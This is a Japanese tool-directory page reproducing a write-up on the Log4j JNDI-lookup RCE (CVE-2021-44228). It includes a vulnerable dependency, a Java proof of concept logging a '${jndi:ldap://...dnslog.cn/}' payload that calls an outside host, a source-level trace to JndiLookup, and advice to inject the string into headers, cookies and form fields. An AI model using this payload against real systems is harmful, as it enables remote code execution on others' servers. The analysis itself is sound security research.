Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/m1nggod/cve-2021-44228-log4j-lookup-rce
脆弱性分析エクスプロイトウェブアプリケーション悪用論文と研究学習と教育ペイロード開発
GitHubm1nggod/cve-2021-44228-log4j-lookup-rce

CVE-2021-44228-Log4j-lookup-Rce

CVE-2021-44228 (Log4j RCE) の詳細な分析と概念実証。環境構築、脆弱性分析、JNDIインジェクションメカニズム、再現手順を含む。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
44年前未レビュー

0x01、環境

Jdk7u21(任意バージョンで可)

影響バージョン:Apache Log4j 2.x <= 2.14.1

既知の影響を受けるアプリケーションとコンポーネント:

Apache Solr

Apache Flink

Apache Druid

srping-boot-strater-log4j2

log4j座標

root@kitploit:~
<dependency>
   <groupId>org.apache.logging.log4j</groupId>
   <artifactId>log4j-core</artifactId>
   <version>2.11.1</version>
</dependency>

Poc

root@kitploit:~
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;




public class test2 {
    private static Logger LOGGER = LogManager.getLogger();

    public static void main(String[] args) {
        LOGGER.error("${jndi:ldap://ewa04i.dnslog.cn/}");
    }
}

0x02、分析

ペイロードを見ると、疑いなくlog4j lookupまたはlog4j jndiを検索するでしょう。

https://logging.apache.org/log4j/2.x/manual/lookups.html【英語ドキュメント】

https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html【中国語ドキュメント】

使用方法がわかります。ここでjndiがサポートされており、jndiは他のプロトコルもサポートしているため、変換が行われます。ldapを思い浮かべるのは難しくありません。デバッグして確認してみましょう。昨夜デバッグして5時半までやっていて、朝に授業があったので寝てしまい、分析過程のスクリーンショットだけ保存しています。

余談はさておき、先に進みます。昨夜何度かデバッグしたので、ここでは直接重要な箇所に進みます。

直接ポイントに:org.apache.logging.log4j.core.layout.PatternLayout.PatternSerializer#toSerializable(org.apache.logging.log4j.core.LogEvent, java.lang.StringBuilder)

org.apache.logging.log4j.core.pattern.PatternFormatter#format

このメソッドを追跡して確認します。Javaネイティブにおいてこのメソッドは文字列をフォーマットするものですが、ここでも同じかどうかは不明です。

org.apache.logging.log4j.core.pattern.MessagePatternConverter#format

ここでgetMessage()によりペイロードが取得されました。なぜでしょうか?

ここではこれ以上詳しく説明しません。先に進みましょう。

org.apache.logging.log4j.core.pattern.MessagePatternConverter#format

ここでは、${ で始まるかどうかをチェックし、もしそうなら実行して脆弱性のトリガーポイントになります。

このメソッドのドキュメントはこちらで見られます:https://logging.apache.org/log4j/2.x/log4j-core/apidocs/org/apache/logging/log4j/core/lookup/StrSubstitutor.html

どうやらドキュメントを見ればほぼ十分なようです。ここでは変数リゾルバを取得しています。

続いてorg.apache.logging.log4j.core.lookup.Interpolator#lookupに入ります。

対応するプレフィックスを取得し、対応するjndiクラスオブジェクト-JndiLookupを選択します。

これによりjndiインジェクションが行われ、リモートクラスローディングが実現されます。

0x03、再現

image

1、jndiをサーバーに配置し、ターゲットにサーバーのclassファイルをリクエストさせます。 2、注意点:log4j脆弱性のトリガーポイントは、ログが記録される場所です。例えば、ログに記録される可能性がある場所(HTTPリクエストヘッダー、Cookie、ログインフォーム、GETパラメータ、POSTパラメータなど)が対象となります。

0x04、まとめ

公式ドキュメントを確認すると、実際にはフォーマットによって${jndi:ldap://uci5xf.dnslog.cn/test}を実際のデータに置き換えているだけです。

参考記事:https://blog.csdn.net/lqzkcx3/article/details/82050375 log4jはlookupを使ってプロトコルを取得し、そのプロトコルがjndi、data、sysなどであることを確認します。内部ではmap形式で保存されており、対応するkeyを検出して対応するlookupを取得し実行します。これにより標準的なjndiインジェクション脆弱性が形成されます。

エントリポイントから見ると、ログに記録される場所であればどこでも(一部例外はありますが)実行可能であることがわかります。急ぎで書いたため、深くは追及しません。

攻撃方法としては、インタラクションがある箇所をすべて攻撃することです。ガガガ

ツールをダウンロード